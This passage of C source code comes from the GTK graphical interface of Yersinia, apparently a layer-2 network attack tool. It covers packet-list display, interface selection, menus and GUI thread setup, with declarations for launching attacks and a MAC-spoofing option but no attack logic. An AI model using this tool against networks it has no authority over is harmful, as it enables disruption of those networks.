tmp, 3, "%d", j ); path = gtk_tree_path_new_from_string( tmp ); if ( path ) { gtk_tree_model_get_iter( GTK_TREE_MODEL( tree_model ), &iter, path ); gtk_list_store_set( GTK_LIST_STORE( tree_model ), &iter, 1, packet_stats.global_counter.total_packets, -1 ); gtk_tree_path_free( path ); } } void gtk_c_refresh_mwindow_notebook(GtkNotebook *notebook, GtkNotebookPage *page, guint npage, gpointer userdata) { struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)userdata; helper->mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); /* Avoid Yersinia window log */ if (helper->mode != MAX_PROTOCOLS) { gtk_c_tree_selection_changed_cb (helper->select, helper); gtk_c_update_hexview(helper->select, helper); } gtk_c_refresh_mwindow(helper); } gboolean gtk_c_refresh_mwindow(gpointer userdata) { u_int8_t i, j, k, val, tlv; char *ptrtlv; char timebuf[19], meaningbuf[64], **values; struct commands_param *params; struct commands_param_extra *extra_params; GtkTreeIter iter; GtkListStore *tree_model; GtkWidget *entry[20]; GtkNotebook *notebook; struct gtk_s_helper *helper; char tmp_name[5], msg[1024]; gboolean valid; helper = (struct gtk_s_helper *)userdata; notebook = GTK_NOTEBOOK(helper->notebook); tlv = 0; values = NULL; /* Check if it is Yersinia log */ if ( ! helper->mode || ( helper->mode >= MAX_PROTOCOLS ) ) return TRUE; params = protocols[helper->mode].parameters; extra_params = protocols[helper->mode].extra_parameters; if ((tree_model = GTK_LIST_STORE(gtk_tree_view_get_model(GTK_TREE_VIEW(protocols_tree[helper->mode])))) == NULL) write_log(0, "Error in gtk_tree_view_get_model\n"); valid = gtk_tree_model_get_iter_first (GTK_TREE_MODEL(tree_model), &iter); for (i = 0; i < MAX_PACKET_STATS; i++) { if (protocols[helper->mode].stats[i].header->ts.tv_sec > 0) { /* If there isn't a row, append it */ if (!valid) { gtk_list_store_append (GTK_LIST_STORE (tree_model), &iter); } if (protocols[helper->mode].get_printable_packet) { if ((values = (*protocols[helper->mode].get_printable_packet)(&protocols[helper->mode].stats[i])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", helper->mode); return FALSE; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", helper->mode); return FALSE; } j = 0; k = 0; val = 0; gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, i, -1); val++; /* Normal parameters (-2 for the interface and defaults) */ while (j < protocols[helper->mode].nparams) { if (params[j].mwindow) { if (params[j].meaning) { snprintf(meaningbuf, 64, "%s %s", values[k], parser_get_meaning(values[k], params[j].meaning)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, meaningbuf, -1); } else gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, values[k], -1); val++; } if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) k++; j++; } if ( protocols[helper->mode].extra_nparams > 0 ) { tlv = k; j = 0; while(j < protocols[helper->mode].extra_nparams) { if (extra_params[j].mwindow) { ptrtlv = values[tlv]; while ((ptrtlv) && (strncmp((char *)ptrtlv, extra_params[j].ldesc, strlen(extra_params[j].ldesc)) != 0)) { ptrtlv += strlen((char *)ptrtlv) + 1; } if (ptrtlv) { ptrtlv += strlen((char *)ptrtlv) + 1; if (extra_params[j].meaning) { snprintf(meaningbuf, 64, "%s %s", ptrtlv, parser_get_meaning(ptrtlv, extra_params[j].meaning)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, meaningbuf, -1); } else gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, ptrtlv, -1); val++; } else { gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, "???", -1); val++; } } j++; } } gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, protocols[helper->mode].stats[i].iface, -1); val++; gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, protocols[helper->mode].stats[i].total, -1); val++; strftime(timebuf, 19, "%d %b %H:%M:%S", localtime((time_t *)&protocols[helper->mode].stats[i].header->ts)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, timebuf, -1); k = 0; /* Reset values */ //memset((void *)values, 0, sizeof(values)); if (values) { while(values[k]) { free(values[k]); k++; } free(values); } valid = gtk_tree_model_iter_next (GTK_TREE_MODEL(tree_model), &iter); } /* if (protocols->tv_sec) */ } /* for i < MAX_PACKET_STATS */ /* Ok, now refresh the bwindow */ if (!helper->edit_mode) { for (i = 0; i < protocols[helper->mode].nparams; i++) { if ((params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_IFACE) && (params[i].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", helper->mode, i); entry[i] = lookup_widget(GTK_WIDGET(notebook), tmp_name); parser_binary2printable( helper->mode, i, helper->node->protocol[helper->mode].commands_param[i], msg ); gtk_entry_set_text(GTK_ENTRY(entry[i]), msg); } } } return TRUE; } void gtk_c_tree_selection_changed_cb( GtkTreeSelection *selection, gpointer userdata ) { GtkTreeIter iter; GtkTreeModel *model; GtkWidget *tree; GtkListStore *tree_model; u_int8_t row = 0; u_int8_t j, k, mode; char **values = NULL, *ptrtlv; struct commands_param *params; struct gtk_s_helper *helper = (struct gtk_s_helper *) userdata; if ( gtk_tree_selection_get_selected( selection, &model, &iter ) ) gtk_tree_model_get(model, &iter, 0, &row, -1); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); params = (struct commands_param *)protocols[mode].parameters; if ( protocols[mode].stats[row].header->ts.tv_sec <= 0) { /* write_log(0, "Ohhh no hay paquetes del modo %d, fila %d :(\n", mode, row); */ return; } tree = lookup_widget(GTK_WIDGET(helper->notebook), "main_vhvvs_tree"); if ((tree_model = (GtkListStore *)gtk_tree_view_get_model(GTK_TREE_VIEW(tree))) == NULL) { write_log(0, "Error in gtk_tree_view_get_model\n"); return; } gtk_list_store_clear(tree_model); if (protocols[mode].get_printable_packet) { values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[row]); if ( ! values ) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); return ; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); return ; } j = 0; k = 0; /* Normal parameters (-2 for the interface and defaults) */ while (j < protocols[mode].nparams) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { gtk_list_store_append(GTK_LIST_STORE(tree_model), &iter); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 0, params[j].ldesc, -1); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 1, values[k], -1); if (params[j].meaning) gtk_list_store_set( GTK_LIST_STORE( tree_model ), &iter, 2, parser_get_meaning( values[k], params[j].meaning ), -1 ); k++; } j++; } ptrtlv = values[k]; if (protocols[mode].extra_nparams > 0) { while( ptrtlv && strlen( ptrtlv ) ) { gtk_list_store_append(GTK_LIST_STORE(tree_model), &iter); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 0, ptrtlv, -1); ptrtlv += strlen( ptrtlv ) + 1; if (ptrtlv) { gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 1, ptrtlv, -1); ptrtlv += strlen( ptrtlv ) + 1; } } } gtk_list_store_append (GTK_LIST_STORE (tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 0, "Interface", -1); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 1, protocols[mode].stats[row].iface, -1); k = 0; while( values[k] ) { free((void *)values[k]); k++; } free(values); } void gtk_c_toggle_interface(GtkWidget *toggle, struct term_node *node) { gboolean state; const gchar *label; dlist_t *found; struct interface_data *iface_data, *iface_new; label = gtk_button_get_label(GTK_BUTTON(toggle)); state = gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(toggle)); if (!state) { found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)label); iface_data = (struct interface_data *) dlist_data(found); interfaces_disable(iface_data->ifname); node->used_ints->list = dlist_remove(node->used_ints->list, (void *)iface_data); } else { /* First we need to get the interface index */ found = dlist_search(interfaces->list, interfaces->cmp, (void *)label); if ( !found ) return; iface_data = (struct interface_data *) dlist_data(found); interfaces_enable(iface_data->ifname); iface_new = (struct interface_data *)malloc( sizeof(struct interface_data) ); if ( iface_new ) { memcpy((void *)iface_new, (void *)iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_new); } } } void gtk_c_view_popup_menu(GtkWidget *menuitem, gpointer userdata) { struct gtk_s_helper *helper = (struct gtk_s_helper *)userdata; if ( protocols[ helper->mode ].load_values ) { if ( ( helper->row >= 0 ) && ( helper->row < MAX_PACKET_STATS ) && ( protocols[ helper->mode ].stats[ helper->row ].packet ) ) (*protocols[ helper->mode ].load_values)( (struct pcap_data *)&protocols[ helper->mode ].stats[ helper->row ], helper->node->protocol[ helper->mode ].tmp_data ); else write_log(0, "WARNING: gtk_c_view_popup_menu: Mode[%d] Invalid row [%d] or NULL packet pointer!!\n", helper->mode, helper->row ); } else write_log(0, "WARNING: gtk_c_view_popup_menu: No load_values callback for protocol %d\n", helper->mode); } gboolean gtk_c_view_onButtonPressed (GtkWidget *treeview, GdkEventButton *event, gpointer userdata) { GtkWidget *notebook, *wmain; GtkTreeSelection *selection; GtkTreePath *path; struct gtk_s_helper *helper; gint *index; u_int8_t mode; index = NULL; notebook = lookup_widget(GTK_WIDGET(treeview), "main_vhv2_notebook"); wmain = lookup_widget(GTK_WIDGET(treeview), "Main"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); helper = (struct gtk_s_helper *) userdata; /* single click with the right mouse button? */ if (event->type == GDK_BUTTON_PRESS && event->button == 3) { selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); if (gtk_tree_selection_count_selected_rows(selection) <= 1) { /* Get tree path for row that was clicked */ if (gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), (gint) event->x, (gint) event->y, &path, NULL, NULL, NULL)) { index = gtk_tree_path_get_indices(path); gtk_tree_selection_unselect_all(selection); gtk_tree_selection_select_path(selection, path); gtk_tree_path_free(path); } } helper->mode = mode; if ( index != NULL ) helper->row = *index; gtk_i_view_menu(treeview, wmain, event, helper); return TRUE; /* we handled this */ } return FALSE; /* we did not handle this */ } void gtk_c_on_extra_button_clicked(GtkButton *button, gpointer userdata) { struct gtk_s_helper *helper; GtkWidget *extrawindow; helper = (struct gtk_s_helper *)userdata; extrawindow = gtk_i_create_extradialog(helper); gtk_widget_show(extrawindow); } void gtk_c_extra_button_add_clicked(GtkButton *button, gpointer userdata) { struct gtk_s_helper *helper; GtkWidget *window; u_int8_t proto; helper = (struct gtk_s_helper *)userdata; proto = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); window = gtk_i_create_add_extradialog(helper, proto); gtk_widget_show(window); } void gtk_c_add_extra_button_add_ok_clicked(GtkButton *button, gpointer userdata) { /* Do nothing */ } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/gtk-callbacks.h
/* gtk_callbacks.h * Definitions GTK callbacks * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_CALLBACKS_H__ #define __GTK_CALLBACKS_H__ #include "terminal-defs.h" #include "interfaces.h" #include "attack.h" #include <gtk/gtk.h> #include "gtk-gui.h" #include "gtk-interface.h" #include "gtk-support.h" /* Global extern */ extern struct term_tty *tty_tmp; extern int8_t parser_read_config_file(struct term_tty *, struct term_node *); extern int8_t parser_write_config_file(struct term_tty *); /* Functions prototypes */ void gtk_c_on_file_open_activate(GtkMenuItem *, gpointer); void gtk_c_on_file_save_activate(GtkMenuItem *, gpointer); void gtk_c_opendialog_open(GtkWidget *, gpointer); void gtk_c_savedialog_save(GtkWidget *, gpointer); void gtk_c_on_file_quit_activate(GtkMenuItem *, gpointer); void on_protocols_proto1_activate (GtkMenuItem *menuitem, gpointer user_data); /* Disabled... void gtk_c_on_protocols_toggle(GtkMenuItem *, gpointer); */ void gtk_c_on_actions_execute_activate(GtkMenuItem *, gpointer); void gtk_c_on_actions_interfaces_activate(GtkMenuItem *, gpointer); void gtk_c_on_menu_actions_load_default_activate (GtkMenuItem *menuitem, gpointer); void gtk_c_on_menu_actions_list_attacks_activate (GtkMenuItem *menuitem, gpointer); void on_menu_actions_clear_activate (GtkMenuItem *, GtkWidget *); void gtk_c_on_menu_options_edit_toggle (GtkWidget *, gpointer); void on_menu_options_macspoofing_toggle (GtkCheckMenuItem *, gpointer); void gtk_c_on_actions_clear_activate(GtkMenuItem *, gpointer); void gtk_c_on_capture_activate(GtkMenuItem *, gpointer); void gtk_c_capturedialog_save(GtkWidget *, gpointer); void gtk_c_attacks_synchro(GtkNotebook *, GtkNotebookPage *, guint, gpointer); void gtk_c_attacks_radio_changed(GtkWidget *, gpointer); void gtk_c_attacks_launch(GtkWidget *, gpointer); void gtk_c_attackparams_cancel_click( GtkWidget *, gpointer ); void gtk_c_attackparams_ok_click( GtkWidget *, gpointer ); gboolean gtk_c_attackparams_delete_event( GtkWidget *, GdkEvent *, gpointer ); void gtk_c_update_hexview(GtkTreeSelection *, gpointer); void gtk_c_clock_update(GtkWidget *); void gtk_c_tree_update(GtkWidget *); void gtk_c_refresh_mwindow_notebook(GtkNotebook *, GtkNotebookPage *, guint, gpointer); gboolean gtk_c_refresh_mwindow(gpointer); void gtk_c_tree_selection_changed_cb (GtkTreeSelection *, gpointer); void gtk_c_toggle_interface(GtkWidget *, struct term_node *); gboolean gtk_c_view_onPopupMenu(GtkWidget *, gpointer); void gtk_c_view_popup_menu(GtkWidget *, gpointer); gboolean gtk_c_view_onButtonPressed (GtkWidget *treeview, GdkEventButton *event, gpointer userdata); void gtk_c_on_extra_button_clicked(GtkButton *, gpointer); void gtk_c_extra_button_add_clicked(GtkButton *, gpointer); void gtk_c_add_extra_button_add_ok_clicked(GtkButton *, gpointer); void gtk_c_statusbar_destroy( GtkWidget *, gpointer ); gboolean gtk_c_listattacks_delete_event( GtkWidget *, GdkEvent *, gpointer ); void gtk_c_listattacks_quit_click( GtkWidget *, gpointer ); void gtk_c_listattacks_stopall_click( GtkWidget *, gpointer ); void gtk_c_listattacks_stop_click( GtkWidget *, gpointer ); /* External functions */ extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/gtk-gui.c
/* * Initial main.c file generated by Glade. Edit as required. * Glade will not overwrite this file. */ #ifdef HAVE_CONFIG_H # include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include <netinet/tcp.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include <gtk/gtk.h> #include "gtk-gui.h" #include "gtk-interface.h" #include "gtk-support.h" void gtk_gui (void *args) { int tmp; struct term_node *term_node = NULL; time_t this_time; sigset_t mask; struct gtk_s_helper helper; struct interface_data *iface_data, *iface; GtkWidget *Main; pthread_mutex_lock(&terms->gui_gtk_th.finished); terms->work_state = RUNNING; write_log(0,"\n gtk_gui_th = %X\n",(int)pthread_self()); iface_data = NULL; sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("gtk_gui_th pthread_sigmask()",errno); gtk_gui_th_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("gtk_gui_th pthread_mutex_lock",errno); gtk_gui_th_exit(NULL); } if (term_add_node(&term_node, TERM_CON, 0, pthread_self()) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(NULL); } if (term_node == NULL) { write_log(0, "Ouch!! No more than %d %s accepted!!\n", term_type[TERM_CON].max, term_type[TERM_CON].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(NULL); } this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r( &this_time, term_node->since, sizeof( term_node->since ) ); #else ctime_r( &this_time, term_node->since ); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since) - 1 ); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a console so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip) - 1 ); /* Parse config file */ if (strlen(tty_tmp->config_file)) { if (parser_read_config_file(tty_tmp, term_node) < 0) { write_log(0, "Error reading configuration file\n"); gtk_gui_th_exit(term_node); } } if (pthread_mutex_unlock(&terms->mutex) != 0) { thread_error("gtk_gui_th pthread_mutex_unlock",errno); gtk_gui_th_exit(term_node); } #ifdef ENABLE_NLS bindtextdomain( GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR ); bind_textdomain_codeset( GETTEXT_PACKAGE, "UTF-8" ); textdomain( GETTEXT_PACKAGE ); #endif gtk_set_locale(); gtk_init( NULL, NULL ); add_pixmap_directory( PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps" ); if ( interfaces && interfaces->list ) iface_data = dlist_data( interfaces->list ); else { gtk_i_modaldialog( GTK_MESSAGE_ERROR, "Interface not found", "Hmm... you don't have any valid interface. %s is useless. Go and get a life!", PACKAGE); gtk_gui_th_exit( term_node ); } /* take the first valid interface */ if ( strlen( iface_data->ifname ) ) { if ( ( tmp = interfaces_enable( iface_data->ifname ) ) == -1 ) { gtk_i_modaldialog( GTK_MESSAGE_WARNING, "Invalid interface", "Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname ); } else { iface = (struct interface_data *) calloc(1, sizeof( struct interface_data ) ); memcpy( (void *)iface, (void *)iface_data, sizeof( struct interface_data ) ); term_node->used_ints->list = dlist_append( term_node->used_ints->list, iface ); } } else { gtk_i_modaldialog( GTK_MESSAGE_ERROR, "Invalid interfaces", "Hmm... you don't have any valid interface. %s is useless. Go and get a life!", PACKAGE ); gtk_gui_th_exit( term_node ); } helper.node = (struct term_node *)term_node; helper.edit_mode = 0; Main = gtk_i_create_Main( &helper ); gtk_i_modaldialog( GTK_MESSAGE_WARNING, "Alpha version!", "%s", "This is an alpha version of the GTK GUI. Not all the options are implemented but if you're brave enough, you're allowed to test it and tell us all the bugs you could find"); gtk_widget_show( Main ); gtk_i_modaldialog( GTK_MESSAGE_WARNING, "Default interface", "Network interface %s selected as the default one", iface_data->ifname ); gtk_main(); write_log( 0, "Exiting GTK mode...\n" ); gtk_gui_th_exit( term_node ); } /* * GUI destroy. End */ void gtk_gui_th_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; write_log(0, "\n gtk_gui_th_exit start...\n"); if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); } write_log(0," gtk_gui_th_exit finish...\n"); terms->gui_gtk_th.id = 0; if (pthread_mutex_unlock(&terms->gui_gtk_th.finished) != 0) thread_error("gtk_gui_th pthread_mutex_unlock",errno); terms->work_state = STOPPED; pthread_exit(NULL); }
C/C++
yersinia/src/gtk-gui.h
/* gtk-gui.h * Definitions for the GTK GUI * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_GUI_H__ #define __GTK_GUI_H__ #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 static u_int8_t pointer[MAX_PROTOCOLS]; void gtk_gui(void *); void gtk_gui_th_exit(struct term_node *); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/gtk-interface.c
/* gtk_interface.c * * GTK Interface setup * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <gdk/gdkkeysyms.h> #include <gtk/gtk.h> #include "gtk-interface.h" #define GLADE_HOOKUP_OBJECT(component,widget,name) \ g_object_set_data_full (G_OBJECT (component), name, \ gtk_widget_ref (widget), (GDestroyNotify) gtk_widget_unref) #define GLADE_HOOKUP_OBJECT_NO_REF(component,widget,name) \ g_object_set_data (G_OBJECT (component), name, widget) GtkWidget* gtk_i_create_Main (struct gtk_s_helper *helper) { u_int8_t i; char title[64]; GtkWidget *Main; GtkWidget *main_vbox; GtkWidget *main_menubar; GtkWidget *menu_file; GtkWidget *menu_file_menu; GtkWidget *menu_file_open; GtkWidget *menu_file_save; GtkWidget *separatormenuitem1; GtkWidget *menu_file_quit; GtkWidget *menu_protocols; GtkWidget *menu_protocols_menu; GtkWidget *menu_protocols_proto1; GtkWidget *menu_actions; GtkWidget *menu_actions_menu; GtkWidget *menu_actions_execute; GtkWidget *menu_actions_execute_img; GtkWidget *menu_actions_interfaces; GtkWidget *menu_actions_interfaces_img; GtkWidget *menu_actions_load_default; GtkWidget *menu_actions_load_default_img; GtkWidget *menu_actions_list_attacks; GtkWidget *menu_actions_list_attacks_img; GtkWidget *menu_actions_clear; GtkWidget *menu_actions_clear_img; GtkWidget *menu_actions_clear_menu; GtkWidget *menu_clear_proto1; GtkWidget *menu_capture; GtkWidget *menu_capture_img; GtkWidget *menu_capture_menu; GtkWidget *menu_capture_proto1; GtkWidget *menu_options; GtkWidget *menu_options_menu; GtkWidget *menu_options_macspoofing; GtkWidget *menu_help; GtkWidget *menu_help_menu; GtkWidget *menu_help_about; GtkWidget *toolbar; GtkIconSize tmp_toolbar_icon_size; GtkWidget *toolbar_launch_img; GtkWidget *toolbar_launch; GtkWidget *toolbar_interfaces_img; GtkWidget *toolbar_interfaces; GtkWidget *toolbar_default_img; GtkWidget *toolbar_default; GtkWidget *toolbar_list_attacks_img; GtkWidget *toolbar_list_attacks; GtkWidget *toolbar_clear; GtkWidget *toolbar_clear_img; GtkWidget *toolbar_capture; GtkWidget *toolbar_capture_img; GtkWidget *toolbar_edit; GtkWidget *toolbar_edit_img; GtkWidget *toolbar_quit_img; GtkWidget *toolbar_quit; GtkWidget *main_vbox_hpaned; GtkWidget *main_vh_vpaned; GtkWidget *main_vhv_scroll; GtkListStore *main_vhvs_tree_model; GtkListStore *main_vhvvs_tree_model; GtkTreeIter iter; GtkCellRenderer *cell; GtkCellRenderer *cell2; GtkTreeViewColumn *column; GtkWidget *main_vhvs_tree; GtkWidget *main_vhvvs_tree; GtkWidget *main_vhv_vbox; GtkWidget *main_vhvv_scroll; GtkWidget *main_vhvv_clock; GtkWidget *main_vhvv_eventbox; GtkWidget *main_vh2_vpaned; GtkTextBuffer *buffer_hex; GtkWidget *main_vhv2_scrollhex; GtkWidget *main_vhv2_texthex; GtkWidget *main_vhv2_notebook; GtkWidget *protocols_vpaned[MAX_PROTOCOLS + 1]; GtkWidget *main_vhn_labels[MAX_PROTOCOLS + 1]; GtkWidget *main_log_scroll; GtkWidget *main_log; GtkTooltips *tooltips; GtkAccelGroup *accel_group; PangoFontDescription *font_desc; accel_group = gtk_accel_group_new (); /* Tooltips */ tooltips = gtk_tooltips_new(); helper->tooltips = tooltips; gtk_tooltips_enable(tooltips); /* Main window */ Main = gtk_window_new (GTK_WINDOW_TOPLEVEL); snprintf(title, 64, "Yersinia %s", VERSION); gtk_window_set_title (GTK_WINDOW (Main), title); gtk_window_set_default_size (GTK_WINDOW (Main), 640, 480); g_signal_connect( Main, "delete_event", G_CALLBACK( gtk_c_on_file_quit_activate ), helper ); main_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (main_vbox); gtk_container_add (GTK_CONTAINER (Main), main_vbox); /* Menu widgets */ main_menubar = gtk_menu_bar_new (); gtk_widget_show (main_menubar); gtk_box_pack_start (GTK_BOX (main_vbox), main_menubar, FALSE, FALSE, 0); /* Menu File */ menu_file = gtk_menu_item_new_with_mnemonic (_("_File")); gtk_widget_show (menu_file); gtk_container_add (GTK_CONTAINER (main_menubar), menu_file); menu_file_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_file), menu_file_menu); /* Menu File - Open */ menu_file_open = gtk_image_menu_item_new_from_stock ("gtk-open", accel_group); gtk_widget_show (menu_file_open); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_open); /* Menu File - Save */ menu_file_save = gtk_image_menu_item_new_from_stock ("gtk-save", accel_group); gtk_widget_show (menu_file_save); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_save); /* Menu File - Separator */ separatormenuitem1 = gtk_separator_menu_item_new (); gtk_widget_show (separatormenuitem1); gtk_container_add (GTK_CONTAINER (menu_file_menu), separatormenuitem1); gtk_widget_set_sensitive (separatormenuitem1, FALSE); /* Menu File - Quit */ menu_file_quit = gtk_image_menu_item_new_from_stock ("gtk-quit", accel_group); gtk_widget_show (menu_file_quit); gtk_container_add (GTK_CONTAINER (menu_file_menu), menu_file_quit); /* Menu Protocols */ menu_protocols = gtk_menu_item_new_with_mnemonic (_("_Protocols")); gtk_widget_show (menu_protocols); gtk_container_add (GTK_CONTAINER (main_menubar), menu_protocols); menu_protocols_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_protocols), menu_protocols_menu); /* Menu Protocols - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_protocols_proto1 = gtk_check_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_check_menu_item_set_active(GTK_CHECK_MENU_ITEM(menu_protocols_proto1), TRUE); if (protocols[i].visible) gtk_widget_show (menu_protocols_proto1); gtk_container_add (GTK_CONTAINER (menu_protocols_menu), menu_protocols_proto1); /* Disabled, wrong usage!! Variable 'i' on stack!! g_signal_connect ((gpointer) menu_protocols_proto1, "toggled", G_CALLBACK 